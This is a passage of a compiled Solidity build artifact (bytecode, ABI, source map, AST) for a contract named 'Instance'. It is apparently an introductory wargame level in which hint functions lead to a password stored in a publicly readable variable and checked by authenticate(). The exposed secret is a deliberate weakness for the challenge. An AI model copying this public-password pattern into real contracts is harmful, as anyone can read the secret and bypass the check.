652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642ea2646970667358221220def25ef24f449bda312362d2fbd646567f63fbf85888a579677cbd4b6cb980ca64736f6c63430008180033","sourceMap":"57:1410:89:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;598:307;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;81:22;;;:::i;911:125::-;;;:::i;345:117::-;;;:::i;1385:80::-;1451:7;;;;1385:80;;1951:14:155;;1944:22;1926:41;;1914:2;1899:18;1385:80:89;1786:187:155;1189:190:89;;;;;;:::i;:::-;;:::i;:::-;;109:25;;;;;;;;;;;;2150:4:155;2138:17;;;2120:36;;2108:2;2093:18;109:25:89;1978:184:155;468:124:89;;;:::i;1042:141::-;;;:::i;140:65::-;;;:::i;598:307::-;732:25;;2381:7:155;732:25:89;;;2369:20:155;655:13:89;;2405:11:155;;732:25:89;;;;;;;;;;;;722:36;;;;;;711:5;694:23;;;;;;;;:::i;:::-;;;;;;;;;;;;;684:34;;;;;;:74;680:184;;774:79;;;;;;;;;;;;;;;;;;598:307;-1:-1:-1;;598:307:89:o;680:184::-;-1:-1:-1;;873:25:89;;;;;;;;;;;;;;;;;;598:307::o;81:22::-;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::o;911:125::-;950:13;975:54;;;;;;;;;;;;;;;;;;;911:125;:::o;345:117::-;382:13;407:48;;;;;;;;;;;;;;;;;;;345:117;:::o;1189:190::-;1322:8;1305:26;;;;;;;;:::i;:::-;;;;;;;;;;;;;1295:37;;;;;;1282:7;1265:25;;;;;;;;:::i;:::-;;;;;;;;;;;;;1255:36;;;;;;:77;1251:122;;1348:7;:14;;-1:-1:-1;;1348:14:89;1358:4;1348:14;;;1251:122;1189:190;:::o;468:124::-;506:13;531:54;;;;;;;;;;;;;;;;;;;468:124;:::o;1042:141::-;1088:13;1113:63;;;;;;;;;;;;;;;;;;;1042:141;:::o;140:65::-;;;;;;;:::i;14:184:155:-;-1:-1:-1;;;63:1:155;56:88;163:4;160:1;153:15;187:4;184:1;177:15;203:922;272:6;325:2;313:9;304:7;300:23;296:32;293:52;;;341:1;338;331:12;293:52;381:9;368:23;410:18;451:2;443:6;440:14;437:34;;;467:1;464;457:12;437:34;505:6;494:9;490:22;480:32;;550:7;543:4;539:2;535:13;531:27;521:55;;572:1;569;562:12;521:55;608:2;595:16;630:2;626;623:10;620:36;;;636:18;;:::i;:::-;711:2;705:9;679:2;765:13;;-1:-1:-1;;761:22:155;;;785:2;757:31;753:40;741:53;;;809:18;;;829:22;;;806:46;803:72;;;855:18;;:::i;:::-;895:10;891:2;884:22;930:2;922:6;915:18;970:7;965:2;960;956;952:11;948:20;945:33;942:53;;;991:1;988;981:12;942:53;1047:2;1042;1038;1034:11;1029:2;1021:6;1017:15;1004:46;1092:1;1070:15;;;1087:2;1066:24;1059:35;;;;-1:-1:-1;1074:6:155;203:922;-1:-1:-1;;;;;203:922:155:o;1130:250::-;1215:1;1225:113;1239:6;1236:1;1233:13;1225:113;;;1315:11;;;1309:18;1296:11;;;1289:39;1261:2;1254:10;1225:113;;;-1:-1:-1;;1372:1:155;1354:16;;1347:27;1130:250::o;1385:396::-;1534:2;1523:9;1516:21;1497:4;1566:6;1560:13;1609:6;1604:2;1593:9;1589:18;1582:34;1625:79;1697:6;1692:2;1681:9;1677:18;1672:2;1664:6;1660:15;1625:79;:::i;:::-;1765:2;1744:15;-1:-1:-1;;1740:29:155;1725:45;;;;1772:2;1721:54;;1385:396;-1:-1:-1;;1385:396:155:o;2427:289::-;2558:3;2596:6;2590:13;2612:66;2671:6;2666:3;2659:4;2651:6;2647:17;2612:66;:::i;:::-;2694:16;;;;;2427:289;-1:-1:-1;;2427:289:155:o;2721:437::-;2800:1;2796:12;;;;2843;;;2864:61;;2918:4;2910:6;2906:17;2896:27;;2864:61;2971:2;2963:6;2960:14;2940:18;2937:38;2934:218;;-1:-1:-1;;;3005:1:155;2998:88;3109:4;3106:1;3099:15;3137:4;3134:1;3127:15;2934:218;;2721:437;;;:::o;3289:1177::-;3417:3;3446:1;3479:6;3473:13;3509:1;3529;3556:9;3553:1;3549:17;3539:27;;3616:1;3605:9;3601:17;3637:18;3627:61;;3681:4;3673:6;3669:17;3659:27;;3627:61;3707:2;3755;3747:6;3744:14;3724:18;3721:38;3718:218;;-1:-1:-1;;;3789:1:155;3782:88;3893:4;3890:1;3883:15;3921:4;3918:1;3911:15;3718:218;3952:18;3979:133;;;;4126:1;4121:320;;;;3945:496;;3979:133;-1:-1:-1;;4012:24:155;;4000:37;;4085:14;;4078:22;4066:35;;4057:45;;;-1:-1:-1;3979:133:155;;4121:320;3236:1;3229:14;;;3273:4;3260:18;;4216:1;4230:165;4244:6;4241:1;4238:13;4230:165;;;4322:14;;4309:11;;;4302:35;4365:16;;;;4259:10;;4230:165;;;4234:3;;4424:6;4419:3;4415:16;4408:23;;3945:496;-1:-1:-1;4457:3:155;;3289:1177;-1:-1:-1;;;;;;;;3289:1177:155:o","linkReferences":{}},"methodIdentifiers":{"authenticate(string)":"aa613b29","getCleared()":"3c848d78","info()":"370158ea","info1()":"d4c3cf44","info2(string)":"2133b6a9","info42()":"2cbd79a5","infoNum()":"c253aebe","method7123949()":"f0bc7081","password()":"224b610b","theMethodName()":"f157a1e3"},"rawMetadata":"{\"compiler\":{\"version\":\"0.8.24+commit.e11b9ed9\"},\"language\":\"Solidity\",\"output\":{\"abi\":[{\"inputs\":[{\"internalType\":\"string\",\"name\":\"_password\",\"type\":\"string\"}],\"stateMutability\":\"nonpayable\",\"type\":\"constructor\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"passkey\",\"type\":\"string\"}],\"name\":\"authenticate\",\"outputs\":[],\"stateMutability\":\"nonpayable\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"getCleared\",\"outputs\":[{\"internalType\":\"bool\",\"name\":\"\",\"type\":\"bool\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"info\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"info1\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[{\"internalType\":\"string\",\"name\":\"param\",\"type\":\"string\"}],\"name\":\"info2\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"info42\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"infoNum\",\"outputs\":[{\"internalType\":\"uint8\",\"name\":\"\",\"type\":\"uint8\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"method7123949\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"pure\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"password\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"},{\"inputs\":[],\"name\":\"theMethodName\",\"outputs\":[{\"internalType\":\"string\",\"name\":\"\",\"type\":\"string\"}],\"stateMutability\":\"view\",\"type\":\"function\"}],\"devdoc\":{\"kind\":\"dev\",\"methods\":{},\"version\":1},\"userdoc\":{\"kind\":\"user\",\"methods\":{},\"version\":1}},\"settings\":{\"compilationTarget\":{\"src/levels/Instance.sol\":\"Instance\"},\"evmVersion\":\"shanghai\",\"libraries\":{},\"metadata\":{\"bytecodeHash\":\"ipfs\"},\"optimizer\":{\"enabled\":true,\"runs\":1000},\"remappings\":[\":ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/\",\":erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/\",\":forge-std/=lib/forge-std/src/\",\":openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/\",\":openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/\",\":openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/\",\":openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/\",\":openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/\"]},\"sources\":{\"src/levels/Instance.sol\":{\"keccak256\":\"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564\",\"license\":\"MIT\",\"urls\":[\"bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522\",\"dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt\"]}},\"version\":1}","metadata":{"compiler":{"version":"0.8.24+commit.e11b9ed9"},"language":"Solidity","output":{"abi":[{"inputs":[{"internalType":"string","name":"_password","type":"string"}],"stateMutability":"nonpayable","type":"constructor"},{"inputs":[{"internalType":"string","name":"passkey","type":"string"}],"stateMutability":"nonpayable","type":"function","name":"authenticate"},{"inputs":[],"stateMutability":"view","type":"function","name":"getCleared","outputs":[{"internalType":"bool","name":"","type":"bool"}]},{"inputs":[],"stateMutability":"pure","type":"function","name":"info","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"pure","type":"function","name":"info1","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[{"internalType":"string","name":"param","type":"string"}],"stateMutability":"pure","type":"function","name":"info2","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"pure","type":"function","name":"info42","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"infoNum","outputs":[{"internalType":"uint8","name":"","type":"uint8"}]},{"inputs":[],"stateMutability":"pure","type":"function","name":"method7123949","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"password","outputs":[{"internalType":"string","name":"","type":"string"}]},{"inputs":[],"stateMutability":"view","type":"function","name":"theMethodName","outputs":[{"internalType":"string","name":"","type":"string"}]}],"devdoc":{"kind":"dev","methods":{},"version":1},"userdoc":{"kind":"user","methods":{},"version":1}},"settings":{"remappings":["ds-test/=lib/openzeppelin-contracts-upgradeable/lib/forge-std/lib/ds-test/src/","erc4626-tests/=lib/openzeppelin-contracts-upgradeable/lib/erc4626-tests/","forge-std/=lib/forge-std/src/","openzeppelin-contracts-06/=lib/openzeppelin-contracts-06/contracts/","openzeppelin-contracts-08/=lib/openzeppelin-contracts-08/contracts/","openzeppelin-contracts-upgradeable/=lib/openzeppelin-contracts-upgradeable/","openzeppelin-upgradeable/=lib/openzeppelin-contracts-upgradeable/contracts/","openzeppelin/=lib/openzeppelin-contracts-upgradeable/contracts/"],"optimizer":{"enabled":true,"runs":1000},"metadata":{"bytecodeHash":"ipfs"},"compilationTarget":{"src/levels/Instance.sol":"Instance"},"evmVersion":"shanghai","libraries":{}},"sources":{"src/levels/Instance.sol":{"keccak256":"0xb6b0b01614d22cfc73537b5682d203d5f2bb91519c737cfe31db6242804d7564","urls":["bzz-raw://3a0321e33e5dd1006c3a849eaade7ad139890c3cd40c50235b3efcc00817d522","dweb:/ipfs/QmY2CyYnBjSYHsJqFuWABh78xQxagUa897iemGymtfq1yt"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"src/levels/Instance.sol","id":53504,"exportedSymbols":{"Instance":[53503]},"nodeType":"SourceUnit","src":"32:1436:89","nodes":[{"id":53389,"nodeType":"PragmaDirective","src":"32:23:89","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":53503,"nodeType":"ContractDefinition","src":"57:1410:89","nodes":[{"id":53391,"nodeType":"VariableDeclaration","src":"81:22:89","nodes":[],"constant":false,"functionSelector":"224b610b","mutability":"mutable","name":"password","nameLocation":"95:8:89","scope":53503,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":53390,"name":"string","nodeType":"ElementaryTypeName","src":"81:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"public"},{"id":53394,"nodeType":"VariableDeclaration","src":"109:25:89","nodes":[],"constant":false,"functionSelector":"c253aebe","mutability":"mutable","name":"infoNum","nameLocation":"122:7:89","scope":53503,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"},"typeName":{"id":53392,"name":"uint8","nodeType":"ElementaryTypeName","src":"109:5:89","typeDescriptions":{"typeIdentifier":"t_uint8","typeString":"uint8"}},"value":{"hexValue":"3432","id":53393,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"132:2:89","typeDescriptions":{"typeIdentifier":"t_rational_42_by_1","typeString":"int_const 42"},"value":"42"},"visibility":"public"},{"id":53397,"nodeType":"VariableDeclaration","src":"140:65:89","nodes":[],"constant":false,"functionSelector":"f157a1e3","mutability":"mutable","name":"theMethodName","nameLocation":"154:13:89","scope":53503,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string"},"typeName":{"id":53395,"name":"string","nodeType":"ElementaryTypeName","src":"140:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"value":{"hexValue":"546865206d6574686f64206e616d65206973206d6574686f64373132333934392e","id":53396,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"170:35:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_2503729b55249c4b028e6f2096d6b89f944fb9a85cc43b0282b5f35806c55069","typeString":"literal_string \"The method name is method7123949.\""},"value":"The method name is method7123949."},"visibility":"public"},{"id":53400,"nodeType":"VariableDeclaration","src":"211:28:89","nodes":[],"constant":false,"mutability":"mutable","name":"cleared","nameLocation":"224:7:89","scope":53503,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":53398,"name":"bool","nodeType":"ElementaryTypeName","src":"211:4:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"value":{"hexValue":"66616c7365","id":53399,"isConstant":false,"isLValue":false,"isPure":true,"kind":"bool","lValueRequested":false,"nodeType":"Literal","src":"234:5:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"value":"false"},"visibility":"private"},{"id":53410,"nodeType":"FunctionDefinition","src":"265:74:89","nodes":[],"body":{"id":53409,"nodeType":"Block","src":"302:37:89","nodes":[],"statements":[{"expression":{"id":53407,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":53405,"name":"password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53391,"src":"312:8:89","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"id":53406,"name":"_password","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53402,"src":"323:9:89","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}},"src":"312:20:89","typeDescriptions":{"typeIdentifier":"t_string_storage","typeString":"string storage ref"}},"id":53408,"nodeType":"ExpressionStatement","src":"312:20:89"}]},"implemented":true,"kind":"constructor","modifiers":[],"name":"","nameLocation":"-1:-1:-1","parameters":{"id":53403,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53402,"mutability":"mutable","name":"_password","nameLocation":"291:9:89","nodeType":"VariableDeclaration","scope":53410,"src":"277:23:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53401,"name":"string","nodeType":"ElementaryTypeName","src":"277:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"276:25:89"},"returnParameters":{"id":53404,"nodeType":"ParameterList","parameters":[],"src":"302:0:89"},"scope":53503,"stateMutability":"nonpayable","virtual":false,"visibility":"public"},{"id":53418,"nodeType":"FunctionDefinition","src":"345:117:89","nodes":[],"body":{"id":53417,"nodeType":"Block","src":"397:65:89","nodes":[],"statements":[{"expression":{"hexValue":"596f752077696c6c2066696e64207768617420796f75206e65656420696e20696e666f3128292e","id":53415,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"414:41:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_18d33c94a1f5bb5701ef5da354369b4581c035d41d6a326f82d98a41ea642808","typeString":"literal_string \"You will find what you need in info1().\""},"value":"You will find what you need in info1()."},"functionReturnParameters":53414,"id":53416,"nodeType":"Return","src":"407:48:89"}]},"functionSelector":"370158ea","implemented":true,"kind":"function","modifiers":[],"name":"info","nameLocation":"354:4:89","parameters":{"id":53411,"nodeType":"ParameterList","parameters":[],"src":"358:2:89"},"returnParameters":{"id":53414,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53413,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53418,"src":"382:13:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53412,"name":"string","nodeType":"ElementaryTypeName","src":"382:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"381:15:89"},"scope":53503,"stateMutability":"pure","virtual":false,"visibility":"public"},{"id":53426,"nodeType":"FunctionDefinition","src":"468:124:89","nodes":[],"body":{"id":53425,"nodeType":"Block","src":"521:71:89","nodes":[],"statements":[{"expression":{"hexValue":"54727920696e666f3228292c206275742077697468202268656c6c6f22206173206120706172616d657465722e","id":53423,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"538:47:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_51dac7487e2d0ffee8bbada3222ae17c9f840227ebf43e11e3b82307a719b75b","typeString":"literal_string \"Try info2(), but with \"hello\" as a parameter.\""},"value":"Try info2(), but with \"hello\" as a parameter."},"functionReturnParameters":53422,"id":53424,"nodeType":"Return","src":"531:54:89"}]},"functionSelector":"d4c3cf44","implemented":true,"kind":"function","modifiers":[],"name":"info1","nameLocation":"477:5:89","parameters":{"id":53419,"nodeType":"ParameterList","parameters":[],"src":"482:2:89"},"returnParameters":{"id":53422,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53421,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53426,"src":"506:13:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53420,"name":"string","nodeType":"ElementaryTypeName","src":"506:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"505:15:89"},"scope":53503,"stateMutability":"pure","virtual":false,"visibility":"public"},{"id":53453,"nodeType":"FunctionDefinition","src":"598:307:89","nodes":[],"body":{"id":53452,"nodeType":"Block","src":"670:235:89","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53445,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftExpression":{"arguments":[{"arguments":[{"id":53436,"name":"param","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":53428,"src":"711:5:89","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_string_memory_ptr","typeString":"string memory"}],"expression":{"id":53434,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"694:3:89","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53435,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"698:12:89","memberName":"encodePacked","nodeType":"MemberAccess","src":"694:16:89","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":53437,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"694:23:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53433,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"684:9:89","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53438,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"684:34:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"nodeType":"BinaryOperation","operator":"==","rightExpression":{"arguments":[{"arguments":[{"hexValue":"68656c6c6f","id":53442,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"749:7:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_1c8aff950685c2ed4bc3174f3472287b56d9517b9c948127319a09a7a36deac8","typeString":"literal_string \"hello\""},"value":"hello"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_stringliteral_1c8aff950685c2ed4bc3174f3472287b56d9517b9c948127319a09a7a36deac8","typeString":"literal_string \"hello\""}],"expression":{"id":53440,"name":"abi","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-1,"src":"732:3:89","typeDescriptions":{"typeIdentifier":"t_magic_abi","typeString":"abi"}},"id":53441,"isConstant":false,"isLValue":false,"isPure":true,"lValueRequested":false,"memberLocation":"736:12:89","memberName":"encodePacked","nodeType":"MemberAccess","src":"732:16:89","typeDescriptions":{"typeIdentifier":"t_function_abiencodepacked_pure$__$returns$_t_bytes_memory_ptr_$","typeString":"function () pure returns (bytes memory)"}},"id":53443,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"732:25:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes memory"}],"id":53439,"name":"keccak256","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":-8,"src":"722:9:89","typeDescriptions":{"typeIdentifier":"t_function_keccak256_pure$_t_bytes_memory_ptr_$returns$_t_bytes32_$","typeString":"function (bytes memory) pure returns (bytes32)"}},"id":53444,"isConstant":false,"isLValue":false,"isPure":true,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"722:36:89","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_bytes32","typeString":"bytes32"}},"src":"684:74:89","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"id":53449,"nodeType":"IfStatement","src":"680:184:89","trueBody":{"id":53448,"nodeType":"Block","src":"760:104:89","statements":[{"expression":{"hexValue":"5468652070726f706572747920696e666f4e756d20686f6c647320746865206e756d626572206f6620746865206e65787420696e666f206d6574686f6420746f2063616c6c2e","id":53446,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"781:72:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_a26c21bc8ea9f1905c121a3e7c63d5faa421793a4139df3ccd3efa57db938b49","typeString":"literal_string \"The property infoNum holds the number of the next info method to call.\""},"value":"The property infoNum holds the number of the next info method to call."},"functionReturnParameters":53432,"id":53447,"nodeType":"Return","src":"774:79:89"}]}},{"expression":{"hexValue":"57726f6e6720706172616d657465722e","id":53450,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"880:18:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_b601fad3d3d1fbffca394b53af0f91d25155d399b982c8fd7898f7154394e3c2","typeString":"literal_string \"Wrong parameter.\""},"value":"Wrong parameter."},"functionReturnParameters":53432,"id":53451,"nodeType":"Return","src":"873:25:89"}]},"functionSelector":"2133b6a9","implemented":true,"kind":"function","modifiers":[],"name":"info2","nameLocation":"607:5:89","parameters":{"id":53429,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53428,"mutability":"mutable","name":"param","nameLocation":"627:5:89","nodeType":"VariableDeclaration","scope":53453,"src":"613:19:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53427,"name":"string","nodeType":"ElementaryTypeName","src":"613:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"612:21:89"},"returnParameters":{"id":53432,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53431,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53453,"src":"655:13:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53430,"name":"string","nodeType":"ElementaryTypeName","src":"655:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"654:15:89"},"scope":53503,"stateMutability":"pure","virtual":false,"visibility":"public"},{"id":53461,"nodeType":"FunctionDefinition","src":"911:125:89","nodes":[],"body":{"id":53460,"nodeType":"Block","src":"965:71:89","nodes":[],"statements":[{"expression":{"hexValue":"7468654d6574686f644e616d6520697320746865206e616d65206f6620746865206e657874206d6574686f642e","id":53458,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"982:47:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_d3c61225f9e7dd0de370751940991ab402a99f7bbcaf9201287a0b5252a87460","typeString":"literal_string \"theMethodName is the name of the next method.\""},"value":"theMethodName is the name of the next method."},"functionReturnParameters":53457,"id":53459,"nodeType":"Return","src":"975:54:89"}]},"functionSelector":"2cbd79a5","implemented":true,"kind":"function","modifiers":[],"name":"info42","nameLocation":"920:6:89","parameters":{"id":53454,"nodeType":"ParameterList","parameters":[],"src":"926:2:89"},"returnParameters":{"id":53457,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53456,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53461,"src":"950:13:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53455,"name":"string","nodeType":"ElementaryTypeName","src":"950:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"949:15:89"},"scope":53503,"stateMutability":"pure","virtual":false,"visibility":"public"},{"id":53469,"nodeType":"FunctionDefinition","src":"1042:141:89","nodes":[],"body":{"id":53468,"nodeType":"Block","src":"1103:80:89","nodes":[],"statements":[{"expression":{"hexValue":"496620796f75206b6e6f77207468652070617373776f72642c207375626d697420697420746f2061757468656e74696361746528292e","id":53466,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"1120:56:89","typeDescriptions":{"typeIdentifier":"t_stringliteral_a43a77889820039a1512b30dd7e1f8d4a6e69caa9b58da067871b4225bd2ef4d","typeString":"literal_string \"If you know the password, submit it to authenticate().\""},"value":"If you know the password, submit it to authenticate()."},"functionReturnParameters":53465,"id":53467,"nodeType":"Return","src":"1113:63:89"}]},"functionSelector":"f0bc7081","implemented":true,"kind":"function","modifiers":[],"name":"method7123949","nameLocation":"1051:13:89","parameters":{"id":53462,"nodeType":"ParameterList","parameters":[],"src":"1064:2:89"},"returnParameters":{"id":53465,"nodeType":"ParameterList","parameters":[{"constant":false,"id":53464,"mutability":"mutable","name":"","nameLocation":"-1:-1:-1","nodeType":"VariableDeclaration","scope":53469,"src":"1088:13:89","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":53463,"name":"string","nodeType":"ElementaryTypeName","src":"1088:6:89","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"1087:15:89"},"scope":53503,"stateMutability":"pure","virtual":false,"visibility":"public"},{"id":53494,"nodeType":"FunctionDefinition","src":"1189:190:89","nodes":[],"body":{"id":53493,"nodeType":"Block","src":"1241:138:89","nodes":[],"statements":[{"condition":{"commonType":{"typeIdentifier":"t_bytes32","typeString":"bytes32"},"id":53486,"isC